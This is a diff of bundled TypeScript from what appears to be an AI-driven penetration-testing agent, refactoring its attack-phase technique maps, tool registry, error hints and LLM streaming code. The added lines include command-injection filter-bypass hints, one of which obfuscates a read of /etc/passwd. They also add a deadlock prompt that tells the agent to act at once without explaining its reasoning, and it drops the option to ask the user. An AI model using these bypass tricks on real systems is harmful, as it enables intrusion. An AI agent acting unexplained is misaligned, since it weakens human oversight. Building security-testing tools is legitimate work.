case PAYLOAD_CONTEXT.SHELL_CMD:
|
|
8495
|
-
recs.push("
|
|
8496
|
-
recs.push("
|
|
8497
|
-
recs.push("
|
|
8998
|
+
recs.push("bypass-hint: ${IFS} for space, quotes for keyword bypass");
|
|
8999
|
+
recs.push("bypass-hint: base64 encoding for full payload obfuscation");
|
|
9000
|
+
recs.push("bypass-hint: variable concatenation: a=c;b=at;$a$b /etc/passwd");
|
|
8498
9001
|
break;
|
|
8499
9002
|
}
|
|
8500
|
-
recs.push(
|
|
9003
|
+
recs.push('If all variants fail: web_search("bypass <filter-type> <context> site:hacktricks.xyz") for current techniques.');
|
|
8501
9004
|
return recs;
|
|
8502
9005
|
}
|
|
8503
9006
|
|
|
@@ -8655,7 +9158,7 @@ ${variantList}
|
|
|
8655
9158
|
|
|
8656
9159
|
// src/engine/tools/pentest-attack-tools/wordlists-tool.ts
|
|
8657
9160
|
import { existsSync as existsSync10, statSync as statSync2, readdirSync as readdirSync2 } from "fs";
|
|
8658
|
-
import { join as
|
|
9161
|
+
import { join as join10 } from "path";
|
|
8659
9162
|
var CATEGORY_KEYWORDS = {
|
|
8660
9163
|
passwords: ["password", "rockyou"],
|
|
8661
9164
|
usernames: ["user"],
|
|
@@ -8742,7 +9245,7 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
|
|
|
8742
9245
|
}
|
|
8743
9246
|
for (const entry of entries) {
|
|
8744
9247
|
if (entry.name.startsWith(".") || SKIP_DIRS.has(entry.name)) continue;
|
|
8745
|
-
const fullPath =
|
|
9248
|
+
const fullPath = join10(dirPath, entry.name);
|
|
8746
9249
|
if (entry.isDirectory()) {
|
|
8747
9250
|
scanDir(fullPath, maxDepth, depth + 1);
|
|
8748
9251
|
continue;
|
|
@@ -8795,7 +9298,7 @@ var createAttackTools = () => [
|
|
|
8795
9298
|
var createPentestTools = (state, events) => [
|
|
8796
9299
|
...createStateTools(state, events),
|
|
8797
9300
|
...createTargetTools(state),
|
|
8798
|
-
...createIntelTools(),
|
|
9301
|
+
...createIntelTools(state.dynamicTechniques),
|
|
8799
9302
|
...createAttackTools()
|
|
8800
9303
|
];
|
|
8801
9304
|
|
|
@@ -9660,7 +10163,7 @@ Returns recommendations on process status, port conflicts, long-running tasks, e
|
|
|
9660
10163
|
];
|
|
9661
10164
|
|
|
9662
10165
|
// src/domains/registry.ts
|
|
9663
|
-
import { join as
|
|
10166
|
+
import { join as join11, dirname as dirname3 } from "path";
|
|
9664
10167
|
import { fileURLToPath } from "url";
|
|
9665
10168
|
|
|
9666
10169
|
// src/domains/network/tools.ts
|
|
@@ -10072,73 +10575,73 @@ var DOMAINS = {
|
|
|
10072
10575
|
id: SERVICE_CATEGORIES.NETWORK,
|
|
10073
10576
|
name: "Network Infrastructure",
|
|
10074
10577
|
description: "Vulnerability scanning, port mapping, and network service exploitation.",
|
|
10075
|
-
promptPath:
|
|
10578
|
+
promptPath: join11(__dirname, "network/prompt.md")
|
|
10076
10579
|
},
|
|
10077
10580
|
[SERVICE_CATEGORIES.WEB]: {
|
|
10078
10581
|
id: SERVICE_CATEGORIES.WEB,
|
|
10079
10582
|
name: "Web Application",
|
|
10080
10583
|
description: "Web app security testing, injection attacks, and auth bypass.",
|
|
10081
|
-
promptPath:
|
|
10584
|
+
promptPath: join11(__dirname, "web/prompt.md")
|
|
10082
10585
|
},
|
|
10083
10586
|
[SERVICE_CATEGORIES.DATABASE]: {
|
|
10084
10587
|
id: SERVICE_CATEGORIES.DATABASE,
|
|
10085
10588
|
name: "Database Security",
|
|
10086
10589
|
description: "SQL injection, database enumeration, and data extraction.",
|
|
10087
|
-
promptPath:
|
|
10590
|
+
promptPath: join11(__dirname, "database/prompt.md")
|
|
10088
10591
|
},
|
|
10089
10592
|
[SERVICE_CATEGORIES.AD]: {
|
|
10090
10593
|
id: SERVICE_CATEGORIES.AD,
|
|
10091
10594
|
name: "Active Directory",
|
|
10092
10595
|
description: "Kerberos, LDAP, and Windows domain privilege escalation.",
|
|
10093
|
-
promptPath:
|
|
10596
|
+
promptPath: join11(__dirname, "ad/prompt.md")
|
|
10094
10597
|
},
|
|
10095
10598
|
[SERVICE_CATEGORIES.EMAIL]: {
|
|
10096
10599
|
id: SERVICE_CATEGORIES.EMAIL,
|
|
10097
10600
|
name: "Email Services",
|
|
10098
10601
|
description: "SMTP, IMAP, POP3 security and user enumeration.",
|
|
10099
|
-
promptPath:
|
|
10602
|
+
promptPath: join11(__dirname, "email/prompt.md")
|
|
10100
10603
|
},
|
|
10101
10604
|
[SERVICE_CATEGORIES.REMOTE_ACCESS]: {
|
|
10102
10605
|
id: SERVICE_CATEGORIES.REMOTE_ACCESS,
|
|
10103
10606
|
name: "Remote Access",
|
|
10104
10607
|
description: "SSH, RDP, VNC and other remote control protocols.",
|
|
10105
|
-
promptPath:
|
|
10608
|
+
promptPath: join11(__dirname, "remote-access/prompt.md")
|
|
10106
10609
|
},
|
|
10107
10610
|
[SERVICE_CATEGORIES.FILE_SHARING]: {
|
|
10108
10611
|
id: SERVICE_CATEGORIES.FILE_SHARING,
|
|
10109
10612
|
name: "File Sharing",
|
|
10110
10613
|
description: "SMB, NFS, FTP and shared resource security.",
|
|
10111
|
-
promptPath:
|
|
10614
|
+
promptPath: join11(__dirname, "file-sharing/prompt.md")
|
|
10112
10615
|
},
|
|
10113
10616
|
[SERVICE_CATEGORIES.CLOUD]: {
|
|
10114
10617
|
id: SERVICE_CATEGORIES.CLOUD,
|
|
10115
10618
|
name: "Cloud Infrastructure",
|
|
10116
10619
|
description: "AWS, Azure, and GCP security and misconfiguration.",
|
|
10117
|
-
promptPath:
|
|
10620
|
+
promptPath: join11(__dirname, "cloud/prompt.md")
|
|
10118
10621
|
},
|
|
10119
10622
|
[SERVICE_CATEGORIES.CONTAINER]: {
|
|
10120
10623
|
id: SERVICE_CATEGORIES.CONTAINER,
|
|
10121
10624
|
name: "Container Systems",
|
|
10122
10625
|
description: "Docker and Kubernetes security testing.",
|
|
10123
|
-
promptPath:
|
|
10626
|
+
promptPath: join11(__dirname, "container/prompt.md")
|
|
10124
10627
|
},
|
|
10125
10628
|
[SERVICE_CATEGORIES.API]: {
|
|
10126
10629
|
id: SERVICE_CATEGORIES.API,
|
|
10127
10630
|
name: "API Security",
|
|
10128
10631
|
description: "REST, GraphQL, and SOAP API security testing.",
|
|
10129
|
-
promptPath:
|
|
10632
|
+
promptPath: join11(__dirname, "api/prompt.md")
|
|
10130
10633
|
},
|
|
10131
10634
|
[SERVICE_CATEGORIES.WIRELESS]: {
|
|
10132
10635
|
id: SERVICE_CATEGORIES.WIRELESS,
|
|
10133
10636
|
name: "Wireless Networks",
|
|
10134
10637
|
description: "WiFi and Bluetooth security testing.",
|
|
10135
|
-
promptPath:
|
|
10638
|
+
promptPath: join11(__dirname, "wireless/prompt.md")
|
|
10136
10639
|
},
|
|
10137
10640
|
[SERVICE_CATEGORIES.ICS]: {
|
|
10138
10641
|
id: SERVICE_CATEGORIES.ICS,
|
|
10139
10642
|
name: "Industrial Systems",
|
|
10140
10643
|
description: "Critical infrastructure - Modbus, DNP3, ENIP.",
|
|
10141
|
-
promptPath:
|
|
10644
|
+
promptPath: join11(__dirname, "ics/prompt.md")
|
|
10142
10645
|
}
|
|
10143
10646
|
};
|
|
10144
10647
|
function loadAllDomainTools() {
|
|
@@ -10400,8 +10903,8 @@ function formatBinaryAnalysis(info) {
|
|
|
10400
10903
|
`Protections: Canary=${info.canary ?? "?"} NX=${info.nx ?? "?"} PIE=${info.pie ?? "?"} RELRO=${info.relro ?? "?"}`,
|
|
10401
10904
|
`Stripped: ${info.stripped ?? "?"} | Static: ${info.staticallyLinked ?? "?"}`,
|
|
10402
10905
|
"",
|
|
10403
|
-
"
|
|
10404
|
-
...suggestions.map((s) => `
|
|
10906
|
+
"\xA73 BINARY FEASIBILITY FACTS (what is technically possible given protections, NOT a prescribed attack plan):",
|
|
10907
|
+
...suggestions.map((s) => ` fact: ${s}`),
|
|
10405
10908
|
"</binary-analysis>"
|
|
10406
10909
|
];
|
|
10407
10910
|
return lines.join("\n");
|
|
@@ -10981,11 +11484,11 @@ function safeParseJson(jsonString) {
|
|
|
10981
11484
|
function stripThinkTags(text, existingReasoning) {
|
|
10982
11485
|
let cleanText = text;
|
|
10983
11486
|
let extractedReasoning = existingReasoning;
|
|
10984
|
-
cleanText = cleanText.replace(
|
|
11487
|
+
cleanText = cleanText.replace(/<think>([\s\S]*?)<\/think>/gi, (_match, inner) => {
|
|
10985
11488
|
extractedReasoning += inner;
|
|
10986
11489
|
return "";
|
|
10987
11490
|
});
|
|
10988
|
-
cleanText = cleanText.replace(
|
|
11491
|
+
cleanText = cleanText.replace(/<\/?think>/gi, "");
|
|
10989
11492
|
return { cleanText, extractedReasoning };
|
|
10990
11493
|
}
|
|
10991
11494
|
|
|
@@ -11220,49 +11723,8 @@ var LLMClient = class {
|
|
|
11220
11723
|
context.getTotalChars = () => totalChars;
|
|
11221
11724
|
context.currentBlockRef = currentBlockRef;
|
|
11222
11725
|
context.toolCallsMap = toolCallsMap;
|
|
11223
|
-
|
|
11224
|
-
|
|
11225
|
-
const decoder = new TextDecoder();
|
|
11226
|
-
let buffer = "";
|
|
11227
|
-
try {
|
|
11228
|
-
while (true) {
|
|
11229
|
-
if (callbacks?.abortSignal?.aborted) {
|
|
11230
|
-
wasAborted = true;
|
|
11231
|
-
break;
|
|
11232
|
-
}
|
|
11233
|
-
const { done, value } = await reader.read();
|
|
11234
|
-
if (done) break;
|
|
11235
|
-
buffer += decoder.decode(value, { stream: true });
|
|
11236
|
-
const lines = buffer.split("\n");
|
|
11237
|
-
buffer = lines.pop() || "";
|
|
11238
|
-
for (const line of lines) {
|
|
11239
|
-
if (line.startsWith("data: ")) {
|
|
11240
|
-
const data = line.slice(6);
|
|
11241
|
-
if (data.trim() === "[DONE]") continue;
|
|
11242
|
-
try {
|
|
11243
|
-
const event = JSON.parse(data);
|
|
11244
|
-
processStreamEvent(event, requestId, context);
|
|
11245
|
-
} catch {
|
|
11246
|
-
}
|
|
11247
|
-
}
|
|
11248
|
-
}
|
|
11249
|
-
}
|
|
11250
|
-
} finally {
|
|
11251
|
-
reader.releaseLock();
|
|
11252
|
-
}
|
|
11253
|
-
const toolCalls = [];
|
|
11254
|
-
for (const [id, toolCall] of toolCallsMap) {
|
|
11255
|
-
if (toolCall._pendingJson) {
|
|
11256
|
-
const parseResult = safeParseJson(toolCall._pendingJson);
|
|
11257
|
-
if (parseResult.success) {
|
|
11258
|
-
toolCall.input = parseResult.data;
|
|
11259
|
-
} else {
|
|
11260
|
-
toolCall.input = { _parse_error: parseResult.error, _raw_json: toolCall._pendingJson.slice(0, DISPLAY_LIMITS.RAW_JSON_ERROR_PREVIEW) };
|
|
11261
|
-
}
|
|
11262
|
-
delete toolCall._pendingJson;
|
|
11263
|
-
}
|
|
11264
|
-
toolCalls.push({ id: toolCall.id, name: toolCall.name, input: toolCall.input });
|
|
11265
|
-
}
|
|
11726
|
+
wasAborted = await readSSEStream(response, requestId, context, callbacks?.abortSignal);
|
|
11727
|
+
const toolCalls = resolveToolCalls(toolCallsMap);
|
|
11266
11728
|
const stripped = stripThinkTags(fullContent, fullReasoning);
|
|
11267
11729
|
return {
|
|
11268
11730
|
content: stripped.cleanText,
|
|
@@ -11274,6 +11736,55 @@ var LLMClient = class {
|
|
|
11274
11736
|
};
|
|
11275
11737
|
}
|
|
11276
11738
|
};
|
|
11739
|
+
async function readSSEStream(response, requestId, context, abortSignal) {
|
|
11740
|
+
const reader = response.body?.getReader();
|
|
11741
|
+
if (!reader) throw new Error("Response body is not readable");
|
|
11742
|
+
const decoder = new TextDecoder();
|
|
11743
|
+
let buffer = "";
|
|
11744
|
+
let wasAborted = false;
|
|
11745
|
+
try {
|
|
11746
|
+
while (true) {
|
|
11747
|
+
if (abortSignal?.aborted) {
|
|
11748
|
+
wasAborted = true;
|
|
11749
|
+
break;
|
|
11750
|
+
}
|
|
11751
|
+
const { done, value } = await reader.read();
|
|
11752
|
+
if (done) break;
|
|
11753
|
+
buffer += decoder.decode(value, { stream: true });
|
|
11754
|
+
const lines = buffer.split("\n");
|
|
11755
|
+
buffer = lines.pop() || "";
|
|
11756
|
+
for (const line of lines) {
|
|
11757
|
+
if (!line.startsWith("data: ")) continue;
|
|
11758
|
+
const data = line.slice(6);
|
|
11759
|
+
if (data.trim() === "[DONE]") continue;
|
|
11760
|
+
try {
|
|
11761
|
+
const event = JSON.parse(data);
|
|
11762
|
+
processStreamEvent(event, requestId, context);
|
|
11763
|
+
} catch {
|
|
11764
|
+
}
|
|
11765
|
+
}
|
|
11766
|
+
}
|
|
11767
|
+
} finally {
|
|
11768
|
+
reader.releaseLock();
|
|
11769
|
+
}
|
|
11770
|
+
return wasAborted;
|
|
11771
|
+
}
|
|
11772
|
+
function resolveToolCalls(toolCallsMap) {
|
|
11773
|
+
const toolCalls = [];
|
|
11774
|
+
for (const [, toolCall] of toolCallsMap) {
|
|
11775
|
+
if (toolCall._pendingJson) {
|
|
11776
|
+
const parseResult = safeParseJson(toolCall._pendingJson);
|
|
11777
|
+
if (parseResult.success) {
|
|
11778
|
+
toolCall.input = parseResult.data;
|
|
11779
|
+
} else {
|
|
11780
|
+
toolCall.input = { _parse_error: parseResult.error, _raw_json: toolCall._pendingJson.slice(0, DISPLAY_LIMITS.RAW_JSON_ERROR_PREVIEW) };
|
|
11781
|
+
}
|
|
11782
|
+
delete toolCall._pendingJson;
|
|
11783
|
+
}
|
|
11784
|
+
toolCalls.push({ id: toolCall.id, name: toolCall.name, input: toolCall.input });
|
|
11785
|
+
}
|
|
11786
|
+
return toolCalls;
|
|
11787
|
+
}
|
|
11277
11788
|
|
|
11278
11789
|
// src/engine/llm-client/factory.ts
|
|
11279
11790
|
var llmInstance = null;
|
|
@@ -11313,7 +11824,7 @@ function handleLoopError(error, messages, progress, iteration, consecutiveLLMErr
|
|
|
11313
11824
|
);
|
|
11314
11825
|
}
|
|
11315
11826
|
const unexpectedMsg = error instanceof Error ? error.message : String(error);
|
|
11316
|
-
events
|
|
11827
|
+
events?.emit({
|
|
11317
11828
|
type: EVENT_TYPES.ERROR,
|
|
11318
11829
|
timestamp: Date.now(),
|
|
11319
11830
|
data: { message: `Unexpected error: ${unexpectedMsg}`, phase: getPhase(), isRecoverable: true }
|
|
@@ -11324,7 +11835,7 @@ Continue your task.` });
|
|
|
11324
11835
|
}
|
|
11325
11836
|
function handleLLMError(error, messages, progress, iteration, consecutiveLLMErrors, maxConsecutiveLLMErrors, events, getPhase) {
|
|
11326
11837
|
const errorInfo = error.errorInfo;
|
|
11327
|
-
events
|
|
11838
|
+
events?.emit({
|
|
11328
11839
|
type: EVENT_TYPES.ERROR,
|
|
11329
11840
|
timestamp: Date.now(),
|
|
11330
11841
|
data: {
|
|
@@ -11382,19 +11893,13 @@ function buildDeadlockNudge(phase, targetCount, findingCount) {
|
|
|
11382
11893
|
[PHASES.WEB]: `WEB: Enumerate attack surface. Test every input.`
|
|
11383
11894
|
};
|
|
11384
11895
|
const direction = phaseDirection[phase] || phaseDirection[PHASES.RECON];
|
|
11385
|
-
return `\u26A1 DEADLOCK: ${AGENT_LIMITS.MAX_CONSECUTIVE_IDLE} turns with
|
|
11896
|
+
return `\u26A1 DEADLOCK DETECTED: ${AGENT_LIMITS.MAX_CONSECUTIVE_IDLE} consecutive turns with zero tool calls.
|
|
11386
11897
|
Phase: ${phase} | Targets: ${targetCount} | Findings: ${findingCount}
|
|
11387
11898
|
|
|
11388
11899
|
${direction}
|
|
11389
11900
|
|
|
11390
|
-
|
|
11391
|
-
|
|
11392
|
-
\u2022 web_search for techniques
|
|
11393
|
-
\u2022 Try a completely different approach
|
|
11394
|
-
\u2022 Probe for unknown vulns
|
|
11395
|
-
\u2022 ask_user for hints
|
|
11396
|
-
|
|
11397
|
-
ACT NOW \u2014 EXECUTE.`;
|
|
11901
|
+
Determine the highest-impact action available to you right now and execute it immediately.
|
|
11902
|
+
Do not explain your reasoning \u2014 call a tool.`;
|
|
11398
11903
|
}
|
|
11399
11904
|
|
|
11400
11905
|
// src/agents/core-agent/event-emitters.ts
|
|
@@ -11631,9 +12136,12 @@ function enrichToolErrorContext(ctx) {
|
|
|
11631
12136
|
} else if (isPermissionError(errorLower)) {
|
|
11632
12137
|
lines.push(`Fix: Insufficient permissions for this operation.`);
|
|
11633
12138
|
lines.push(`Actions: (1) Try with sudo if appropriate, (2) Use a different approach, or (3) Check if the target path/resource is correct.`);
|
|
11634
|
-
} else if (
|
|
11635
|
-
lines.push(`Fix:
|
|
11636
|
-
lines.push(`Actions: (1)
|
|
12139
|
+
} else if (isTimeoutError(errorLower)) {
|
|
12140
|
+
lines.push(`Fix: Connection timed out \u2014 service may be slow, filtered by firewall, or rate-limiting.`);
|
|
12141
|
+
lines.push(`Actions: (1) Increase timeout flag (--timeout, -w, --connect-timeout), (2) Try -Pn if nmap (ICMP blocked), (3) Try a slower scan rate, (4) Verify target is alive via other method.`);
|
|
12142
|
+
} else if (isConnectionRefusedError(errorLower)) {
|
|
12143
|
+
lines.push(`Fix: Connection refused \u2014 port is actively closed or service not running.`);
|
|
12144
|
+
lines.push(`Actions: (1) Verify the exact port number, (2) Check if service requires different protocol (TCP vs UDP), (3) Try alternative ports, (4) The service may have crashed \u2014 check via a different scan.`);
|
|
11637
12145
|
} else if (isInvalidInputError(errorLower)) {
|
|
11638
12146
|
lines.push(`Fix: The input format is incorrect.`);
|
|
11639
12147
|
lines.push(`Actions: (1) Check the input format and fix it, (2) Use web_search to find the correct syntax, or (3) Try a simpler input.`);
|
|
@@ -11654,8 +12162,11 @@ function isNotFoundError(e) {
|
|
|
11654
12162
|
function isPermissionError(e) {
|
|
11655
12163
|
return e.includes("permission denied") || e.includes("access denied") || e.includes("eacces");
|
|
11656
12164
|
}
|
|
11657
|
-
function
|
|
11658
|
-
return e.includes("
|
|
12165
|
+
function isTimeoutError(e) {
|
|
12166
|
+
return e.includes("timeout") || e.includes("timed out") || e.includes("etimedout");
|
|
12167
|
+
}
|
|
12168
|
+
function isConnectionRefusedError(e) {
|
|
12169
|
+
return e.includes("connection refused") || e.includes("econnrefused") || e.includes("connection reset");
|
|
11659
12170
|
}
|
|
11660
12171
|
function isInvalidInputError(e) {
|
|
11661
12172
|
return e.includes("invalid") || e.includes("malformed") || e.includes("syntax error");
|
|
@@ -11761,40 +12272,32 @@ function stripAnsi(text) {
|
|
|
11761
12272
|
function normalizeLine(line) {
|
|
11762
12273
|
return line.replace(/\d+/g, "N").replace(/0x[a-f0-9]+/gi, "H").replace(/\s+/g, " ").trim().toLowerCase();
|
|
11763
12274
|
}
|
|
12275
|
+
function flushDuplicates(result, lastLine, count) {
|
|
12276
|
+
if (count <= 0) return;
|
|
12277
|
+
if (count <= MAX_DUPLICATE_DISPLAY) {
|
|
12278
|
+
for (let i = 0; i < count; i++) result.push(lastLine);
|
|
12279
|
+
} else {
|
|
12280
|
+
result.push(` ... (${count} similar lines collapsed)`);
|
|
12281
|
+
}
|
|
12282
|
+
}
|
|
11764
12283
|
function filterAndDedup(lines) {
|
|
11765
12284
|
const result = [];
|
|
11766
12285
|
let lastLine = "";
|
|
11767
12286
|
let consecutiveDupes = 0;
|
|
11768
12287
|
for (const line of lines) {
|
|
11769
12288
|
const trimmed = line.trim();
|
|
11770
|
-
if (NOISE_PATTERNS.some((p) => p.test(trimmed)))
|
|
11771
|
-
continue;
|
|
11772
|
-
}
|
|
12289
|
+
if (NOISE_PATTERNS.some((p) => p.test(trimmed))) continue;
|
|
11773
12290
|
const normalized = normalizeLine(trimmed);
|
|
11774
12291
|
if (normalized === normalizeLine(lastLine)) {
|
|
11775
12292
|
consecutiveDupes++;
|
|
11776
12293
|
continue;
|
|
11777
12294
|
}
|
|
11778
|
-
|
|
11779
|
-
|
|
11780
|
-
for (let i = 0; i < consecutiveDupes; i++) {
|
|
11781
|
-
result.push(lastLine);
|
|
11782
|
-
}
|
|
11783
|
-
} else {
|
|
11784
|
-
result.push(` ... (${consecutiveDupes} similar lines collapsed)`);
|
|
11785
|
-
}
|
|
11786
|
-
consecutiveDupes = 0;
|
|
11787
|
-
}
|
|
12295
|
+
flushDuplicates(result, lastLine, consecutiveDupes);
|
|
12296
|
+
consecutiveDupes = 0;
|
|
11788
12297
|
result.push(line);
|
|
11789
12298
|
lastLine = trimmed;
|
|
11790
12299
|
}
|
|
11791
|
-
|
|
11792
|
-
result.push(` ... (${consecutiveDupes} similar lines collapsed)`);
|
|
11793
|
-
} else {
|
|
11794
|
-
for (let i = 0; i < consecutiveDupes; i++) {
|
|
11795
|
-
result.push(lastLine);
|
|
11796
|
-
}
|
|
11797
|
-
}
|
|
12300
|
+
flushDuplicates(result, lastLine, consecutiveDupes);
|
|
11798
12301
|
return result;
|
|
11799
12302
|
}
|
|
11800
12303
|
function structuralPreprocess(output) {
|
|
@@ -11924,6 +12427,14 @@ function parseAnalystMemo(response) {
|
|
|
11924
12427
|
].filter(Boolean).join(" | ")
|
|
11925
12428
|
};
|
|
11926
12429
|
}
|
|
12430
|
+
function extractHypothesizedReason(failureLine) {
|
|
12431
|
+
const match = failureLine.match(/\[(FILTERED|WRONG_VECTOR|AUTH_REQUIRED|TOOL_ERROR|TIMEOUT|PATCHED)\]/);
|
|
12432
|
+
if (!match) return void 0;
|
|
12433
|
+
const type = match[1];
|
|
12434
|
+
const parts = failureLine.split("\u2192");
|
|
12435
|
+
const description = parts[1]?.trim().split("\u2192")[0]?.trim();
|
|
12436
|
+
return description ? `${type} \u2014 ${description}` : type;
|
|
12437
|
+
}
|
|
11927
12438
|
|
|
11928
12439
|
// src/shared/utils/context-digest/formatters.ts
|
|
11929
12440
|
function formatAnalystDigest(digest, filePath, originalChars) {
|
|
@@ -12152,6 +12663,13 @@ function recordJournalMemo(call, result, digestedOutputForLLM, digestResult, tur
|
|
|
12152
12663
|
}
|
|
12153
12664
|
turnState.memo.nextSteps.push(...m.nextSteps);
|
|
12154
12665
|
if (m.reflection) turnState.reflections.push(m.reflection);
|
|
12666
|
+
if (!result.success && m.failures.length > 0) {
|
|
12667
|
+
const command = String(call.input.command || call.input.url || call.input.query || JSON.stringify(call.input));
|
|
12668
|
+
const hypothesizedReason = extractHypothesizedReason(m.failures[0]);
|
|
12669
|
+
if (hypothesizedReason) {
|
|
12670
|
+
state.workingMemory.updateLastFailureReason(command, hypothesizedReason);
|
|
12671
|
+
}
|
|
12672
|
+
}
|
|
12155
12673
|
}
|
|
12156
12674
|
if (digestResult?.memo?.credentials.length) {
|
|
12157
12675
|
for (const cred of digestResult.memo.credentials) {
|
|
@@ -12183,7 +12701,9 @@ function recordJournalMemo(call, result, digestedOutputForLLM, digestResult, tur
|
|
|
12183
12701
|
description,
|
|
12184
12702
|
evidence,
|
|
12185
12703
|
remediation: "",
|
|
12186
|
-
foundAt: Date.now()
|
|
12704
|
+
foundAt: Date.now(),
|
|
12705
|
+
// SAUP §18: Analyst 해석 결과이므로 inferenceDepth=1 (직접 도구 관찰이 아님)
|
|
12706
|
+
inferenceDepth: 1
|
|
12187
12707
|
});
|
|
12188
12708
|
state.attackGraph.addVulnerability(title, "auto-detected", digestResult.memo.attackValue === "HIGH" ? "high" : "medium", confidence >= CONFIDENCE_THRESHOLDS.CONFIRMED);
|
|
12189
12709
|
existingSignatures.add(signature);
|
|
@@ -12551,32 +13071,36 @@ var CORE_KNOWLEDGE_FILES = [
|
|
|
12551
13071
|
// Active Directory / infrastructure attack methodology
|
|
12552
13072
|
];
|
|
12553
13073
|
var PHASE_TECHNIQUE_MAP = {
|
|
12554
|
-
|
|
12555
|
-
[PHASES.
|
|
12556
|
-
|
|
12557
|
-
[PHASES.
|
|
13074
|
+
// RECON: 서비스 파악 + 기본 크레덴셜/익명 접근 초기 탐색
|
|
13075
|
+
[PHASES.RECON]: [TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.CRYPTO, TECHNIQUE_FILES.AUTH_ACCESS],
|
|
13076
|
+
// VULN_ANALYSIS: 인증 우회가 가장 흔한 취약점 클래스 — auth-access 필수
|
|
13077
|
+
[PHASES.VULN_ANALYSIS]: [TECHNIQUE_FILES.INJECTION, TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.FILE_ATTACKS, TECHNIQUE_FILES.CRYPTO, TECHNIQUE_FILES.REVERSING],
|
|
13078
|
+
// EXPLOIT: JWT/OAuth/세션 우회 + 바이너리 + 인젝션 전체
|
|
13079
|
+
[PHASES.EXPLOIT]: [TECHNIQUE_FILES.INJECTION, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.FILE_ATTACKS, TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.PWN, TECHNIQUE_FILES.CONTAINER_ESCAPE, TECHNIQUE_FILES.SANDBOX_ESCAPE, TECHNIQUE_FILES.REVERSING],
|
|
13080
|
+
[PHASES.POST_EXPLOIT]: [TECHNIQUE_FILES.PRIVESC, TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.CONTAINER_ESCAPE, TECHNIQUE_FILES.SANDBOX_ESCAPE, TECHNIQUE_FILES.FORENSICS, TECHNIQUE_FILES.PIVOTING, TECHNIQUE_FILES.ENTERPRISE_PENTEST],
|
|
12558
13081
|
[PHASES.PRIV_ESC]: [TECHNIQUE_FILES.PRIVESC, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.PWN, TECHNIQUE_FILES.CONTAINER_ESCAPE, TECHNIQUE_FILES.SANDBOX_ESCAPE],
|
|
12559
|
-
[PHASES.LATERAL]: [TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.AD_ATTACK, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.CONTAINER_ESCAPE, TECHNIQUE_FILES.NETWORK_SVC],
|
|
12560
|
-
[PHASES.PERSISTENCE]: [TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.PRIVESC, TECHNIQUE_FILES.LATERAL],
|
|
13082
|
+
[PHASES.LATERAL]: [TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.AD_ATTACK, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.CONTAINER_ESCAPE, TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.PIVOTING, TECHNIQUE_FILES.ENTERPRISE_PENTEST],
|
|
13083
|
+
[PHASES.PERSISTENCE]: [TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.PRIVESC, TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.ENTERPRISE_PENTEST],
|
|
12561
13084
|
[PHASES.EXFIL]: [TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.FORENSICS],
|
|
12562
|
-
|
|
13085
|
+
// WEB: 인젝션 + 인증 + 파일 + 쉘 + 네트워크 서비스 (내부 Redis/MySQL 연결 가능)
|
|
13086
|
+
[PHASES.WEB]: [TECHNIQUE_FILES.INJECTION, TECHNIQUE_FILES.FILE_ATTACKS, TECHNIQUE_FILES.AUTH_ACCESS, TECHNIQUE_FILES.CRYPTO, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.NETWORK_SVC],
|
|
12563
13087
|
[PHASES.REPORT]: []
|
|
12564
13088
|
// Report phase: no attack techniques needed
|
|
12565
13089
|
};
|
|
12566
13090
|
|
|
12567
13091
|
// src/agents/prompt-builder/prompt-loader.ts
|
|
12568
13092
|
import { readFileSync as readFileSync7, existsSync as existsSync11 } from "fs";
|
|
12569
|
-
import { join as
|
|
13093
|
+
import { join as join12, dirname as dirname4 } from "path";
|
|
12570
13094
|
import { fileURLToPath as fileURLToPath2 } from "url";
|
|
12571
13095
|
var __dirname2 = dirname4(fileURLToPath2(import.meta.url));
|
|
12572
|
-
var PROMPTS_DIR =
|
|
12573
|
-
var TECHNIQUES_DIR =
|
|
13096
|
+
var PROMPTS_DIR = join12(__dirname2, "../prompts");
|
|
13097
|
+
var TECHNIQUES_DIR = join12(PROMPTS_DIR, PROMPT_PATHS.TECHNIQUES_DIR);
|
|
12574
13098
|
function loadPromptFile(filename) {
|
|
12575
|
-
const path2 =
|
|
13099
|
+
const path2 = join12(PROMPTS_DIR, filename);
|
|
12576
13100
|
return existsSync11(path2) ? readFileSync7(path2, PROMPT_CONFIG.ENCODING) : "";
|
|
12577
13101
|
}
|
|
12578
13102
|
function loadTechniqueFile(techniqueName) {
|
|
12579
|
-
const filePath =
|
|
13103
|
+
const filePath = join12(TECHNIQUES_DIR, `${techniqueName}.md`);
|
|
12580
13104
|
try {
|
|
12581
13105
|
if (!existsSync11(filePath)) return "";
|
|
12582
13106
|
return readFileSync7(filePath, PROMPT_CONFIG.ENCODING);
|
|
@@ -12680,7 +13204,19 @@ function buildPersistentMemoryFragment(state) {
|
|
|
12680
13204
|
if (port.service) services.push(port.service);
|
|
12681
13205
|
}
|
|
12682
13206
|
}
|
|
12683
|
-
|
|
13207
|
+
const result = state.persistentMemory.toPrompt(services);
|
|
13208
|
+
flowLog("\u2461Main", "\u2190", "PersistentMemory", result ? `${result.length}B` : "EMPTY");
|
|
13209
|
+
return result;
|
|
13210
|
+
}
|
|
13211
|
+
function buildEpistemicCheckFragment(state) {
|
|
13212
|
+
if (!state.lastReflection) {
|
|
13213
|
+
